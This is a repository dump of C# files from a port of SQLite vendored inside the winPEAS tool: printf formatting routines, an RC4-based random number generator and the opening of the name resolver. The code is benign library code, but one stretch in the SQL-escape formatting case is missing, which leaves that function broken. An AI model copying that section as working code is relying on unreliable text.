!SQLITE_OMIT_FLOATING_POINT /* ** "*val" is a double such that 0.1 <= *val < 10.0 ** Return the ascii code for the leading digit of *val, then ** multiply "*val" by 10.0 to renormalize. ** ** Example: ** input: *val = 3.14159 ** output: *val = 1.4159 function return = '3' ** ** The counter *cnt is incremented each time. After counter exceeds ** 16 (the number of significant digits in a 64-bit float) '0' is ** always returned. */ static char et_getdigit( ref LONGDOUBLE_TYPE val, ref int cnt ) { int digit; LONGDOUBLE_TYPE d; if ( cnt++ >= 16 ) return '\0'; digit = (int)val; d = digit; //digit += '0'; val = ( val - d ) * 10.0; return (char)digit; } #endif // * SQLITE_OMIT_FLOATING_POINT */ /* ** Append N space characters to the given string buffer. */ static void appendSpace( StrAccum pAccum, int N ) { //static const char zSpaces[] = " "; //while( N>=zSpaces.Length-1 ){ // sqlite3StrAccumAppend(pAccum, zSpaces, zSpaces.Length-1); // N -= zSpaces.Length-1; //} //if( N>0 ){ // sqlite3StrAccumAppend(pAccum, zSpaces, N); //} pAccum.zText.AppendFormat( "{0," + N + "}", "" ); } /* ** On machines with a small stack size, you can redefine the ** SQLITE_PRINT_BUF_SIZE to be less than 350. */ #if !SQLITE_PRINT_BUF_SIZE # if (SQLITE_SMALL_STACK) const int SQLITE_PRINT_BUF_SIZE = 50; # else const int SQLITE_PRINT_BUF_SIZE = 350; #endif #endif const int etBUFSIZE = SQLITE_PRINT_BUF_SIZE; /* Size of the output buffer */ /* ** The root program. All variations call this core. ** ** INPUTS: ** func This is a pointer to a function taking three arguments ** 1. A pointer to anything. Same as the "arg" parameter. ** 2. A pointer to the list of characters to be output ** (Note, this list is NOT null terminated.) ** 3. An integer number of characters to be output. ** (Note: This number might be zero.) ** ** arg This is the pointer to anything which will be passed as the ** first argument to "func". Use it for whatever you like. ** ** fmt This is the format string, as in the usual print. ** ** ap This is a pointer to a list of arguments. Same as in ** vfprint. ** ** OUTPUTS: ** The return value is the total number of characters sent to ** the function "func". Returns -1 on a error. ** ** Note that the order in which automatic variables are declared below ** seems to make a big difference in determining how fast this beast ** will run. */ static void sqlite3VXPrintf( StrAccum pAccum, /* Accumulate results here */ int useExtended, /* Allow extended %-conversions */ string fmt, /* Format string */ va_list[] ap /* arguments */ ) { int c; /* Next character in the format string */ int bufpt; /* Pointer to the conversion buffer */ int precision; /* Precision of the current field */ int length; /* Length of the field */ int idx; /* A general purpose loop counter */ int width; /* Width of the current field */ etByte flag_leftjustify; /* True if "-" flag is present */ etByte flag_plussign; /* True if "+" flag is present */ etByte flag_blanksign; /* True if " " flag is present */ etByte flag_alternateform; /* True if "#" flag is present */ etByte flag_altform2; /* True if "!" flag is present */ etByte flag_zeropad; /* True if field width constant starts with zero */ etByte flag_long; /* True if "l" flag is present */ etByte flag_longlong; /* True if the "ll" flag is present */ etByte done; /* Loop termination flag */ i64 longvalue; LONGDOUBLE_TYPE realvalue; /* Value for real types */ et_info infop; /* Pointer to the appropriate info structure */ char[] buf = new char[etBUFSIZE]; /* Conversion buffer */ char prefix; /* Prefix character. "+" or "-" or " " or '\0'. */ byte xtype = 0; /* Conversion paradigm */ // Not used in C# -- string zExtra; /* Extra memory used for etTCLESCAPE conversions */ #if !SQLITE_OMIT_FLOATING_POINT int exp, e2; /* exponent of real numbers */ double rounder; /* Used for rounding floating point values */ etByte flag_dp; /* True if decimal point should be shown */ etByte flag_rtz; /* True if trailing zeros should be removed */ etByte flag_exp; /* True to force display of the exponent */ int nsd; /* Number of significant digits returned */ #endif length = 0; bufpt = 0; int _fmt = 0; // Work around string pointer fmt += '\0'; for ( ; _fmt <= fmt.Length && ( c = fmt[_fmt] ) != 0 ; ++_fmt ) { if ( c != '%' ) { int amt; bufpt = _fmt; amt = 1; while ( _fmt < fmt.Length && ( c = ( fmt[++_fmt] ) ) != '%' && c != 0 ) amt++; sqlite3StrAccumAppend( pAccum, fmt.Substring( bufpt, amt ), amt ); if ( c == 0 ) break; } if ( _fmt < fmt.Length && ( c = ( fmt[++_fmt] ) ) == 0 ) { sqlite3StrAccumAppend( pAccum, "%", 1 ); break; } /* Find out what flags are present */ flag_leftjustify = flag_plussign = flag_blanksign = flag_alternateform = flag_altform2 = flag_zeropad = false; done = false; do { switch ( c ) { case '-': flag_leftjustify = true; break; case '+': flag_plussign = true; break; case ' ': flag_blanksign = true; break; case '#': flag_alternateform = true; break; case '!': flag_altform2 = true; break; case '0': flag_zeropad = true; break; default: done = true; break; } } while ( !done && _fmt < fmt.Length - 1 && ( c = ( fmt[++_fmt] ) ) != 0 ); /* Get the field width */ width = 0; if ( c == '*' ) { width = (int)va_arg( ap, "int" ); if ( width < 0 ) { flag_leftjustify = true; width = -width; } c = fmt[++_fmt]; } else { while ( c >= '0' && c <= '9' ) { width = width * 10 + c - '0'; c = fmt[++_fmt]; } } if ( width > etBUFSIZE - 10 ) { width = etBUFSIZE - 12; } /* Get the precision */ if ( c == '.' ) { precision = 0; c = fmt[++_fmt]; if ( c == '*' ) { precision = (int)va_arg( ap, "int" ); if ( precision < 0 ) precision = -precision; c = fmt[++_fmt]; } else { while ( c >= '0' && c <= '9' ) { precision = precision * 10 + c - '0'; c = fmt[++_fmt]; } } } else { precision = -1; } /* Get the conversion type modifier */ if ( c == 'l' ) { flag_long = true; c = fmt[++_fmt]; if ( c == 'l' ) { flag_longlong = true; c = fmt[++_fmt]; } else { flag_longlong = false; } } else { flag_long = flag_longlong = false; } /* Fetch the info entry for the field */ infop = fmtinfo[0]; xtype = etINVALID; for ( idx = 0 ; idx < ArraySize( fmtinfo ) ; idx++ ) { if ( c == fmtinfo[idx].fmttype ) { infop = fmtinfo[idx]; if ( useExtended != 0 || ( infop.flags & FLAG_INTERN ) == 0 ) { xtype = infop.type; } else { return; } break; } } //zExtra = null; /* Limit the precision to prevent overflowing buf[] during conversion */ if ( precision > etBUFSIZE - 40 && ( infop.flags & FLAG_STRING ) == 0 ) { precision = etBUFSIZE - 40; } /* ** At this point, variables are initialized as follows: ** ** flag_alternateform TRUE if a '#' is present. ** flag_altform2 TRUE if a '!' is present. ** flag_plussign TRUE if a '+' is present. ** flag_leftjustify TRUE if a '-' is present or if the ** field width was negative. ** flag_zeropad TRUE if the width began with 0. ** flag_long TRUE if the letter 'l' (ell) prefixed ** the conversion character. ** flag_longlong TRUE if the letter 'll' (ell ell) prefixed ** the conversion character. ** flag_blanksign TRUE if a ' ' is present. ** width The specified field width. This is ** always non-negative. Zero is the default. ** precision The specified precision. The default ** is -1. ** xtype The class of the conversion. ** infop Pointer to the appropriate info struct. */ switch ( xtype ) { case etPOINTER: flag_longlong = true;// char*.Length == sizeof(i64); flag_long = false;// char*.Length == sizeof(long); /* Fall through into the next case */ goto case etRADIX; case etORDINAL: case etRADIX: if ( ( infop.flags & FLAG_SIGNED ) != 0 ) { i64 v; if ( flag_longlong ) { v = (long)va_arg( ap, "i64" ); } else if ( flag_long ) { v = (long)va_arg( ap, "long int" ); } else { v = (int)va_arg( ap, "int" ); } if ( v < 0 ) { longvalue = -v; prefix = '-'; } else { longvalue = v; if ( flag_plussign ) prefix = '+'; else if ( flag_blanksign ) prefix = ' '; else prefix = '\0'; } } else { if ( flag_longlong ) { longvalue = (i64)va_arg( ap, "longlong int" ); } else if ( flag_long ) { longvalue = (i64)va_arg( ap, "long int" ); } else { longvalue = (i64)va_arg( ap, "long" ); } prefix = '\0'; } if ( longvalue == 0 ) flag_alternateform = false; if ( flag_zeropad && precision < width - ( ( prefix != '\0' ) ? 1 : 0 ) ) { precision = width - ( ( prefix != '\0' ) ? 1 : 0 ); } bufpt = buf.Length;//[etBUFSIZE-1]; char[] _bufOrd = null; if ( xtype == etORDINAL ) { char[] zOrd = "thstndrd".ToCharArray(); int x = (int)( longvalue % 10 ); if ( x >= 4 || ( longvalue / 10 ) % 10 == 1 ) { x = 0; } _bufOrd = new char[2]; _bufOrd[0] = zOrd[x * 2]; _bufOrd[1] = zOrd[x * 2 + 1]; //bufpt -= 2; } { char[] _buf; switch ( infop._base ) { case 16: _buf = longvalue.ToString( "x" ).ToCharArray(); break; case 8: _buf = Convert.ToString( (long)longvalue, 8 ).ToCharArray(); break; default: { if ( flag_zeropad ) _buf = longvalue.ToString( new string( '0', width - ( ( prefix != '\0' ) ? 1 : 0 ) ) ).ToCharArray(); else _buf = longvalue.ToString().ToCharArray(); } break; } bufpt = buf.Length - _buf.Length - ( _bufOrd == null ? 0 : 2 ); Array.Copy( _buf, 0, buf, bufpt, _buf.Length ); if ( _bufOrd != null ) { buf[buf.Length - 1] = _bufOrd[1]; buf[buf.Length - 2] = _bufOrd[0]; } //char* cset; /* Use registers for speed */ //int _base; //cset = aDigits[infop.charset]; //_base = infop._base; //do //{ /* Convert to ascii */ // *(--bufpt) = cset[longvalue % (ulong)_base]; // longvalue = longvalue / (ulong)_base; //} while (longvalue > 0); } length = buf.Length - bufpt;//length = (int)(&buf[etBUFSIZE-1]-bufpt); for ( idx = precision - length ; idx > 0 ; idx-- ) { buf[( --bufpt )] = '0'; /* Zero pad */ } if ( prefix != '\0' ) buf[--bufpt] = prefix; /* Add sign */ if ( flag_alternateform && infop.prefix != 0 ) { /* Add "0" or "0x" */ int pre; char x; pre = infop.prefix; for ( ; ( x = aPrefix[pre] ) != 0 ; pre++ ) buf[--bufpt] = x; } length = buf.Length - bufpt;//length = (int)(&buf[etBUFSIZE-1]-bufpt); break; case etFLOAT: case etEXP: case etGENERIC: realvalue = (double)va_arg( ap, "double" ); #if !SQLITE_OMIT_FLOATING_POINT if ( precision < 0 ) precision = 6; /* Set default precision */ if ( precision > etBUFSIZE / 2 - 10 ) precision = etBUFSIZE / 2 - 10; if ( realvalue < 0.0 ) { realvalue = -realvalue; prefix = '-'; } else { if ( flag_plussign ) prefix = '+'; else if ( flag_blanksign ) prefix = ' '; else prefix = '\0'; } if ( xtype == etGENERIC && precision > 0 ) precision--; #if FALSE /* Rounding works like BSD when the constant 0.4999 is used. Wierd! */ for(idx=precision, rounder=0.4999; idx>0; idx--, rounder*=0.1); #else /* It makes more sense to use 0.5 */ for ( idx = precision, rounder = 0.5 ; idx > 0 ; idx--, rounder *= 0.1 ) { } #endif if ( xtype == etFLOAT ) realvalue += rounder; /* Normalize realvalue to within 10.0 > realvalue >= 1.0 */ exp = 0; double d = 0; if ( Double.IsNaN( realvalue ) || !( Double.TryParse( Convert.ToString( realvalue ), out d ) ) )//if( sqlite3IsNaN((double)realvalue) ) { buf = "NaN".ToCharArray(); length = 3; break; } if ( realvalue > 0.0 ) { while ( realvalue >= 1e32 && exp <= 350 ) { realvalue *= 1e-32; exp += 32; } while ( realvalue >= 1e8 && exp <= 350 ) { realvalue *= 1e-8; exp += 8; } while ( realvalue >= 10.0 && exp <= 350 ) { realvalue *= 0.1; exp++; } while ( realvalue < 1e-8 ) { realvalue *= 1e8; exp -= 8; } while ( realvalue < 1.0 ) { realvalue *= 10.0; exp--; } if ( exp > 350 ) { if ( prefix == '-' ) { buf = "-Inf".ToCharArray(); bufpt = 4; } else if ( prefix == '+' ) { buf = "+Inf".ToCharArray(); bufpt = 4; } else { buf = "Inf".ToCharArray(); bufpt = 3; } length = sqlite3Strlen30( bufpt );// sqlite3Strlen30(bufpt); bufpt = 0; break; } } bufpt = 0; /* ** If the field type is etGENERIC, then convert to either etEXP ** or etFLOAT, as appropriate. */ flag_exp = xtype == etEXP; if ( xtype != etFLOAT ) { realvalue += rounder; if ( realvalue >= 10.0 ) { realvalue *= 0.1; exp++; } } if ( xtype == etGENERIC ) { flag_rtz = !flag_alternateform; if ( exp < -4 || exp > precision ) { xtype = etEXP; } else { precision = precision - exp; xtype = etFLOAT; } } else { flag_rtz = false; } if ( xtype == etEXP ) { e2 = 0; } else { e2 = exp; } nsd = 0; flag_dp = ( precision > 0 ? true : false ) | flag_alternateform | flag_altform2; /* The sign in front of the number */ if ( prefix != '\0' ) { buf[bufpt++] = prefix; } /* Digits prior to the decimal point */ if ( e2 < 0 ) { buf[bufpt++] = '0'; } else { for ( ; e2 >= 0 ; e2-- ) { buf[bufpt++] = (char)( et_getdigit( ref realvalue, ref nsd ) + '0' ); // *(bufpt++) = et_getdigit(ref realvalue, ref nsd); } } /* The decimal point */ if ( flag_dp ) { buf[bufpt++] = '.'; } /* "0" digits after the decimal point but before the first ** significant digit of the number */ for ( e2++ ; e2 < 0 ; precision--, e2++ ) { Debug.Assert( precision > 0 ); buf[bufpt++] = '0'; } /* Significant digits after the decimal point */ while ( ( precision-- ) > 0 ) { buf[bufpt++] = (char)( et_getdigit( ref realvalue, ref nsd ) + '0' ); // *(bufpt++) = et_getdigit(&realvalue, nsd); } /* Remove trailing zeros and the "." if no digits follow the "." */ if ( flag_rtz && flag_dp ) { while ( buf[bufpt - 1] == '0' ) buf[--bufpt] = '\0'; Debug.Assert( bufpt > 0 ); if ( buf[bufpt - 1] == '.' ) { if ( flag_altform2 ) { buf[( bufpt++ )] = '0'; } else { buf[( --bufpt )] = '0'; } } } /* Add the "eNNN" suffix */ if ( flag_exp || xtype == etEXP ) { buf[bufpt++] = aDigits[infop.charset]; if ( exp < 0 ) { buf[bufpt++] = '-'; exp = -exp; } else { buf[bufpt++] = '+'; } if ( exp >= 100 ) { buf[bufpt++] = (char)( exp / 100 + '0' ); /* 100's digit */ exp %= 100; } buf[bufpt++] = (char)( exp / 10 + '0' ); /* 10's digit */ buf[bufpt++] = (char)( exp % 10 + '0' ); /* 1's digit */ } //bufpt = 0; /* The converted number is in buf[] and zero terminated. Output it. ** Note that the number is in the usual order, not reversed as with ** integer conversions. */ length = bufpt;//length = (int)(bufpt-buf); bufpt = 0; /* Special case: Add leading zeros if the flag_zeropad flag is ** set and we are not left justified */ if ( flag_zeropad && !flag_leftjustify && length < width ) { int i; int nPad = width - length; for ( i = width ; i >= nPad ; i-- ) { buf[bufpt + i] = buf[bufpt + i - nPad]; } i = ( prefix != '\0' ? 1 : 0 ); while ( nPad-- != 0 ) buf[( bufpt++ ) + i] = '0'; length = width; bufpt = 0; } #endif break; case etSIZE: ap[0] = pAccum.nChar; // *(va_arg(ap,int*)) = pAccum.nChar; length = width = 0; break; case etPERCENT: buf[0] = '%'; bufpt = 0; length = 1; break; case etCHARX: c = (char)va_arg( ap, "char" ); buf[0] = (char)c; if ( precision >= 0 ) { for ( idx = 1 ; idx < precision ; idx++ ) buf[idx] = (char)c; length = precision; } else { length = 1; } bufpt = 0; break; case etSTRING: case etDYNSTRING: bufpt = 0;// string bufStr = (string)va_arg( ap, "string" ); if ( bufStr.Length > buf.Length ) buf = new char[bufStr.Length]; bufStr.ToCharArray().CopyTo( buf, 0 ); bufpt = bufStr.Length; if ( bufpt == 0 ) { buf[0] = '\0'; } else if ( xtype == etDYNSTRING ) { // zExtra = bufpt; } if ( precision >= 0 ) { for ( length = 0 ; length < precision && length < bufStr.Length && buf[length] != 0 ; length++ ) { } //length += precision; } else { length = sqlite3Strlen30( bufpt ); } bufpt = 0; break; case etSQLESCAPE: case etSQLESCAPE2: case etSQLESCAPE3: { int i; int j; int n; bool isnull; bool needQuote; char ch; char q = ( ( xtype == etSQLESCAPE3 ) ? '"' : '\'' ); /* Quote character */ string escarg = (string)va_arg( ap, "char*" ) + '\0'; isnull = ( escarg == "" || escarg == "NULL\0" ); if ( isnull ) escarg = ( xtype == etSQLESCAPE2 ) ? "NULL\0" : "(NULL)\0"; for ( i = n = 0 ; ( ch = escarg[i] ) != 0 ; i++ ) { if ( ch == q ) n++; } needQuote = !isnull && ( xtype == etSQLESCAPE2 ); n += i + 1 + ( needQuote ? 2 : 0 ); if ( n > etBUFSIZE ) { buf = new char[n];//bufpt = zExtra = sqlite3Malloc(n); //if ( bufpt == 0 ) //{ // pAccum->mallocFailed = 1; // return; //} bufpt = 0; //Start of Buffer } else { //bufpt = buf; bufpt = 0; //Start of Buffer } j = 0; if ( needQuote ) buf[bufpt + j++] = q; for ( i = 0 ; ( ch = escarg[i] ) != 0 ; i++ ) { buf[bufpt + j++] = ch; if ( ch == q ) buf[bufpt + j++] = ch; } if ( needQuote ) buf[bufpt + j++] = q; buf[bufpt + j] = '\0'; length = j; /* The precision is ignored on %q and %Q */ /* if( precision>=0 && precision= 0 && k < pSrc.nSrc ); if ( pItem.zDatabase != null ) { sqlite3StrAccumAppend( pAccum, pItem.zDatabase, -1 ); sqlite3StrAccumAppend( pAccum, ".", 1 ); } sqlite3StrAccumAppend( pAccum, pItem.zName, -1 ); length = width = 0; break; } default: { Debug.Assert( xtype == etINVALID ); return; } }/* End switch over the format type */ /* ** The text of the conversion is pointed to by "bufpt" and is ** "length" characters long. The field width is "width". Do ** the output. */ if ( !flag_leftjustify ) { int nspace; nspace = width - length;// -2; if ( nspace > 0 ) { appendSpace( pAccum, nspace ); } } if ( length > 0 ) { sqlite3StrAccumAppend( pAccum, new string( buf, bufpt, length ), length ); } if ( flag_leftjustify ) { int nspace; nspace = width - length; if ( nspace > 0 ) { appendSpace( pAccum, nspace ); } } //if( zExtra ){ // //sqlite3DbFree(db,ref zExtra); //} }/* End for loop over the format string */ } /* End of function */ /* ** Append N bytes of text from z to the StrAccum object. */ static void sqlite3StrAccumAppend( StrAccum p, string z, int N ) { Debug.Assert( z != null || N == 0 ); if ( p.tooBig != 0 )//|| p.mallocFailed != 0 ) { testcase( p.tooBig ); //testcase( p.mallocFailed ); return; } if ( N < 0 ) { N = sqlite3Strlen30( z ); } if ( N == 0 || NEVER( z == null ) ) { return; } //if ( p.nChar + N >= p.nAlloc ) //{ // char* zNew; // if ( !p.useMalloc ) // { // p.tooBig = 1; // N = p.nAlloc - p.nChar - 1; // if ( N <= 0 ) // { // return; // } // } // else // { // i64 szNew = p.nChar; // szNew += N + 1; // if ( szNew > p.mxAlloc ) // { // sqlite3StrAccumReset( p ); // p.tooBig = 1; // return; // } // else // { // p.nAlloc = (int)szNew; // } // zNew = sqlite3DbMalloc( p.nAlloc ); // if ( zNew ) // { // memcpy( zNew, p.zText, p.nChar ); // sqlite3StrAccumReset( p ); // p.zText = zNew; // } // else // { // p.mallocFailed = 1; // sqlite3StrAccumReset( p ); // return; // } // } //} //memcpy( &p.zText[p.nChar], z, N ); p.zText.Append( z.Substring( 0, N <= z.Length ? N : z.Length ) ); p.nChar += N; } /* ** Finish off a string by making sure it is zero-terminated. ** Return a pointer to the resulting string. Return a NULL ** pointer if any kind of error was encountered. */ static string sqlite3StrAccumFinish( StrAccum p ) { //if (p.zText.Length > 0) //{ // p.zText[p.nChar] = 0; // if (p.useMalloc && p.zText == p.zBase) // { // p.zText = sqlite3DbMalloc(p.nChar + 1); // if (p.zText) // { // memcpy(p.zText, p.zBase, p.nChar + 1); // } // else // { // p.mallocFailed = 1; // } // } //} return p.zText.ToString(); } /* ** Reset an StrAccum string. Reclaim all malloced memory. */ static void sqlite3StrAccumReset( StrAccum p ) { if ( p.zText.ToString() != p.zBase.ToString() ) { //sqlite3DbFree( p.db, ref p.zText ); } p.zText = new StringBuilder(); } /* ** Initialize a string accumulator */ static void sqlite3StrAccumInit( StrAccum p, StringBuilder zBase, int n, int mx ) { p.zText = p.zBase = zBase; p.db = null; p.nChar = 0; p.nAlloc = n; p.mxAlloc = mx; p.useMalloc = 1; p.tooBig = 0; //p.mallocFailed = 0; } /* ** Print into memory obtained from sqliteMalloc(). Use the internal ** %-conversion extensions. */ static string sqlite3VMPrintf( sqlite3 db, string zFormat, params va_list[] ap ) { if ( zFormat == null ) return null; if ( ap.Length == 0 ) return zFormat; string z; StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); StrAccum acc = new StrAccum(); Debug.Assert( db != null ); sqlite3StrAccumInit( acc, zBase, zBase.Capacity, //zBase).Length; db.aLimit[SQLITE_LIMIT_LENGTH] ); acc.db = db; sqlite3VXPrintf( acc, 1, zFormat, ap ); z = sqlite3StrAccumFinish( acc ); // if ( acc.mallocFailed != 0 ) // { ////// db.mallocFailed = 1; // } return z; } /* ** Print into memory obtained from sqliteMalloc(). Use the internal ** %-conversion extensions. */ static string sqlite3MPrintf( sqlite3 db, string zFormat, params va_list[] ap ) { //va_list ap; string z; va_start( ap, zFormat ); z = sqlite3VMPrintf( db, zFormat, ap ); va_end( ap ); return z; } /* ** Like sqlite3MPrintf(), but call //sqlite3DbFree() on zStr after formatting ** the string and before returnning. This routine is intended to be used ** to modify an existing string. For example: ** ** x = sqlite3MPrintf(db, x, "prefix %s suffix", x); ** */ static string sqlite3MAppendf( sqlite3 db, string zStr, string zFormat, params va_list[] ap ) { //va_list ap; string z; va_start( ap, zFormat ); z = sqlite3VMPrintf( db, zFormat, ap ); va_end( ap ); //sqlite3DbFree( db, zStr ); return z; } /* ** Print into memory obtained from sqlite3Malloc(). Omit the internal ** %-conversion extensions. */ static string sqlite3_vmprintf( string zFormat, params va_list[] ap ) { string z; StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); StrAccum acc = new StrAccum(); #if !SQLITE_OMIT_AUTOINIT if ( sqlite3_initialize() != 0 ) return ""; #endif sqlite3StrAccumInit( acc, zBase, zBase.Length, SQLITE_PRINT_BUF_SIZE );//zBase).Length; sqlite3VXPrintf( acc, 0, zFormat, ap ); z = sqlite3StrAccumFinish( acc ); return z; } /* ** Print into memory obtained from sqlite3Malloc()(). Omit the internal ** %-conversion extensions. */ public static string sqlite3_mprintf( string zFormat, params va_list[] ap ) { //, ...){ //va_list ap; string z; #if !SQLITE_OMIT_AUTOINIT if ( sqlite3_initialize() != 0 ) return ""; #endif va_start( ap, zFormat ); z = sqlite3_vmprintf( zFormat, ap ); va_end( ap ); return z; } /* ** sqlite3_snprintf() works like snprintf() except that it ignores the ** current locale settings. This is important for SQLite because we ** are not able to use a "," as the decimal point in place of "." as ** specified by some locales. */ public static string sqlite3_snprintf( int n, ref StringBuilder zBuf, string zFormat, params va_list[] ap ) { StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); //va_list ap; StrAccum acc = new StrAccum(); if ( n <= 0 ) { return zBuf.ToString(); } sqlite3StrAccumInit( acc, zBase, n, 0 ); acc.useMalloc = 0; va_start( ap, zFormat ); sqlite3VXPrintf( acc, 0, zFormat, ap ); va_end( ap ); zBuf.Length = 0; zBuf.Append( sqlite3StrAccumFinish( acc ) ); if ( n - 1 < zBuf.Length ) zBuf.Length = n - 1; return zBuf.ToString(); } public static string sqlite3_snprintf( int n, ref string zBuf, string zFormat, params va_list[] ap ) { string z; StringBuilder zBase = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); //va_list ap; StrAccum acc = new StrAccum(); if ( n <= 0 ) { return zBuf; } sqlite3StrAccumInit( acc, zBase, n, 0 ); acc.useMalloc = 0; va_start( ap, zFormat ); sqlite3VXPrintf( acc, 0, zFormat, ap ); va_end( ap ); z = sqlite3StrAccumFinish( acc ); return ( zBuf = z ); } #if SQLITE_DEBUG || DEBUG || TRACE /* ** A version of printf() that understands %lld. Used for debugging. ** The printf() built into some versions of windows does not understand %lld ** and segfaults if you give it a long long int. */ static void sqlite3DebugPrintf( string zFormat, params va_list[] ap ) { //va_list ap; StrAccum acc = new StrAccum(); StringBuilder zBuf = new StringBuilder( SQLITE_PRINT_BUF_SIZE ); sqlite3StrAccumInit( acc, zBuf, zBuf.Capacity, 0 ); acc.useMalloc = 0; va_start( ap, zFormat ); sqlite3VXPrintf( acc, 0, zFormat, ap ); va_end( ap ); sqlite3StrAccumFinish( acc ); Console.Write( zBuf.ToString() ); //fflush(stdout); } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/random_c.cs ================================================ using System; using i64 = System.Int64; using u8 = System.Byte; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains code to implement a pseudo-random number ** generator (PRNG) for SQLite. ** ** Random numbers are used by some of the database backends in order ** to generate random integer keys for tables or random filenames. ** ** $Id: random.c,v 1.29 2008/12/10 19:26:24 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* All threads share a single random number generator. ** This structure is the current state of the generator. */ public class sqlite3PrngType { public bool isInit; /* True if initialized */ public int i; public int j; /* State variables */ public u8[] s = new u8[256]; /* State variables */ public sqlite3PrngType Copy() { sqlite3PrngType cp = (sqlite3PrngType)MemberwiseClone(); cp.s = new u8[s.Length]; Array.Copy( s, cp.s, s.Length ); return cp; } } public static sqlite3PrngType sqlite3Prng = new sqlite3PrngType(); /* ** Get a single 8-bit random value from the RC4 PRNG. The Mutex ** must be held while executing this routine. ** ** Why not just use a library random generator like lrand48() for this? ** Because the OP_NewRowid opcode in the VDBE depends on having a very ** good source of random numbers. The lrand48() library function may ** well be good enough. But maybe not. Or maybe lrand48() has some ** subtle problems on some systems that could cause problems. It is hard ** to know. To minimize the risk of problems due to bad lrand48() ** implementations, SQLite uses this random number generator based ** on RC4, which we know works very well. ** ** (Later): Actually, OP_NewRowid does not depend on a good source of ** randomness any more. But we will leave this code in all the same. */ static u8 randomu8() { u8 t; /* The "wsdPrng" macro will resolve to the pseudo-random number generator ** state vector. If writable static data is unsupported on the target, ** we have to locate the state vector at run-time. In the more common ** case where writable static data is supported, wsdPrng can refer directly ** to the "sqlite3Prng" state vector declared above. */ #if SQLITE_OMIT_WSD struct sqlite3PrngType *p = &GLOBAL(struct sqlite3PrngType, sqlite3Prng); //# define wsdPrng p[0] #else //# define wsdPrng sqlite3Prng sqlite3PrngType wsdPrng = sqlite3Prng; #endif /* Initialize the state of the random number generator once, ** the first time this routine is called. The seed value does ** not need to contain a lot of randomness since we are not ** trying to do secure encryption or anything like that... ** ** Nothing in this file or anywhere else in SQLite does any kind of ** encryption. The RC4 algorithm is being used as a PRNG (pseudo-random ** number generator) not as an encryption device. */ if ( !wsdPrng.isInit ) { int i; u8[] k = new u8[256]; wsdPrng.j = 0; wsdPrng.i = 0; sqlite3OsRandomness( sqlite3_vfs_find( "" ), 256, ref k ); for ( i = 0 ; i < 255 ; i++ ) { wsdPrng.s[i] = (u8)i; } for ( i = 0 ; i < 255 ; i++ ) { wsdPrng.j = (u8)( wsdPrng.j + wsdPrng.s[i] + k[i] ); t = wsdPrng.s[wsdPrng.j]; wsdPrng.s[wsdPrng.j] = wsdPrng.s[i]; wsdPrng.s[i] = t; } wsdPrng.isInit = true; } /* Generate and return single random u8 */ wsdPrng.i++; t = wsdPrng.s[(u8)wsdPrng.i]; wsdPrng.j = (u8)( wsdPrng.j + t ); wsdPrng.s[(u8)wsdPrng.i] = wsdPrng.s[wsdPrng.j]; wsdPrng.s[wsdPrng.j] = t; t += wsdPrng.s[(u8)wsdPrng.i]; return wsdPrng.s[t]; } /* ** Return N random u8s. */ static void sqlite3_randomness( int N, ref i64 pBuf ) { //u8[] zBuf = new u8[N]; pBuf = 0; #if SQLITE_THREADSAFE sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_PRNG ); #endif sqlite3_mutex_enter( mutex ); while ( N-- > 0 ) { pBuf = (u32)( ( pBuf << 8 ) + randomu8() );// zBuf[N] = randomu8(); } sqlite3_mutex_leave( mutex ); } #if !SQLITE_OMIT_BUILTIN_TEST /* ** For testing purposes, we sometimes want to preserve the state of ** PRNG and restore the PRNG to its saved state at a later time, or ** to reset the PRNG to its initial state. These routines accomplish ** those tasks. ** ** The sqlite3_test_control() interface calls these routines to ** control the PRNG. */ static sqlite3PrngType sqlite3SavedPrng = null; static void sqlite3PrngSaveState() { sqlite3SavedPrng = sqlite3Prng.Copy(); // memcpy( // &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng), // &GLOBAL(struct sqlite3PrngType, sqlite3Prng), // sizeof(sqlite3Prng) //); } static void sqlite3PrngRestoreState() { sqlite3Prng = sqlite3SavedPrng.Copy(); //memcpy( // &GLOBAL(struct sqlite3PrngType, sqlite3Prng), // &GLOBAL(struct sqlite3PrngType, sqlite3SavedPrng), // sizeof(sqlite3Prng) //); } static void sqlite3PrngResetState() { sqlite3Prng.isInit = false;// GLOBAL(struct sqlite3PrngType, sqlite3Prng).isInit = 0; } #endif //* SQLITE_OMIT_BUILTIN_TEST */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/resolve_c.cs ================================================ using System.Diagnostics; using Bitmask = System.UInt64; using u8 = System.Byte; using u16 = System.UInt16; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2008 August 18 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains routines used for walking the parser tree and ** resolve all identifiers by associating them with a particular ** table and column. ** ** $Id: resolve.c,v 1.30 2009/06/15 23:15:59 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" //#include //#include /* ** Turn the pExpr expression into an alias for the iCol-th column of the ** result set in pEList. ** ** If the result set column is a simple column reference, then this routine ** makes an exact copy. But for any other kind of expression, this ** routine make a copy of the result set column as the argument to the ** TK_AS operator. The TK_AS operator causes the expression to be ** evaluated just once and then reused for each alias. ** ** The reason for suppressing the TK_AS term when the expression is a simple ** column reference is so that the column reference will be recognized as ** usable by indices within the WHERE clause processing logic. 